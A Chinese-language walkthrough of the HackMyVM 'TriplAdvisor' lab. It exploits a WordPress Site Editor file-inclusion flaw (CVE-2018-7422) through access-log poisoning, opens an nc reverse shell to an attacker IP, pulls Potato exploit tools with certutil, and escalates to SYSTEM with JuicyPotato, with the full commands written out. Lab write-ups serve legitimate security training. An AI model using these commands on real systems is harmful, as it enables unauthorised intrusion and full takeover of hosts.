Hackmyvm-TriplAdvisor ：简单-泷羽Sec

9.1 信息打点

nmap -sS 192.168.53.243 -p- -T4

图片[1]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

发现有一个http的域名解析，需要我们在hosts文件中添加好相关的信息

nmap -sS 192.168.53.243 -p 445,5985,8080 -T4 -A

图片[2]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

打开windows的hosts文件，添加如下信息

C:\Windows\System32\drivers\etc\hosts

图片[3]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

kali攻击机器中也不能忘了（方便渗透测试，windows中添加只是为了访问，当然也可以配置代理到kali）

echo "192.168.53.243 tripladvisor" >> /etc/hosts

图片[4]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

打开信息收集插件，发现这是一个wordpress内容管理系统

图片[5]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

wpscan进行可能的用户，后台密码爆破

wpscan --url http://tripladvisor:8080/wordpress/ -e u -P /usr/share/wordlists/fasttrack.txt

图片[6]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

wordpress版本信息已经被扫描出来了

图片[7]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

再使用详细扫描，发现一个插件

wpscan --url http://tripladvisor:8080/wordpress/

图片[8]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

9.2 漏洞利用

漏洞检索

searchsploit editor 1.1 wordpress
searchsploit -m 44340

图片[9]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

漏洞信息

┌──(root㉿kali)-[/data/demo]
└─# cat 44340.txt
Product: Site Editor WordPress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422

** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.

Vulnerable code:
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
require_once $_REQUEST['ajax_path'];
}

https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5

By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **
http:///wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

** Solution **
No fix available yet.

** Timeline **
03/01/2018: author contacted through siteeditor.org's contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail
19/01/2018: report sent; author says he will fix this issue "very soon"
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure

** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).

--
Best Regards,

Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)

存在文件包含漏洞，根据上面的url进行修改

http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

图片[10]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

因为这是windows系统，不存在/etc/passwd，那么怎么快速判断文件是否存在？

字典

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

打开bp

图片[11]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

这里我们上传不了文件（没有账号密码），所以只能包含日志文件

c:/xampp/apache/logs/access.log

图片[12]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

9.3 反弹shell

使用curl写入日志，并包含日志文件，尝试获取命令执行结果，结果能正常执行命令

┌──(root㉿kali)-[/usr/share/wordlists]
└─# curl -A "" http://tripladvisor:8080/wordpress/
┌──(root㉿kali)-[/usr/share/wordlists]
└─# curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=c:/xampp/apache/logs/access.log"

图片[13]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

根据前面传msf马上去的经验，这里就传个nc吧

curl -A "" http://tripladvisor:8080/wordpress/
curl -A "" http://tripladvisor:8080/wordpress/
curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"

图片[14]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

切换到当前用户的文件夹，可以看到第一个flag

图片[15]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

将这个shell利用nc传到msf中，进行本地漏扫（试一试，说不定就出来了呢，虽然它只在meterpreter后渗透模块中生效）

nc.exe 192.168.53.51 1234 -e cmd

图片[16]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

9.4 msf内核漏扫

msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload（nc反弹的是基础shell，非meterpreter）

# 目标是Windows，接收nc命令反弹的shell：
set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.53.51 # 攻击机IP（与nc反弹目标一致）
set LPORT 1234 # 监听端口（与nc反弹端口一致）
run -j # 启动监听，保持后台执行

use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块，估计这里没效果，目前测试只有meterpreter模块反弹的shell能用
set session 1 # 设置反弹成功的会话id为1，使用 sessions 即可查看所有的会话id

图片[17]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

9.5 土豆提权

certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET2.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET35.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET4.exe

图片[18]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

失败

.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET35.exe -cmd "cmd /c whoami"
.\GodPotato-NET2.exe -cmd "cmd /c whoami"

图片[19]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

9.6 JuicyPotato提权

certutil.exe -urlcache -split -f http://192.168.53.51:8000/JuicyPotato.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list

https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list

然后用这个工具测试

certutil.exe -urlcache -split -f http://192.168.53.51:8000/juicy-potato/Test/test_clsid.bat

图片[20]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

图片[21]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

此时你的靶机上应该要有这三个文件

图片[22]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

此时验证一下，能否正常访问administrotar的文件，结果为拒绝访问（因为靶机限制了我不能使用whoami，所以只能这样验证）

图片[23]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

回到目录，执行此文件

图片[24]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

随便选择一个系统权限的clsid

图片[25]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec

最终提权命令如下，kali记得开nc

JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes\nc.exe 192.168.53.51 4444 -e cmd.exe" -t *

图片[26]-Hackmyvm-TriplAdvisor ：简单-泷羽Sec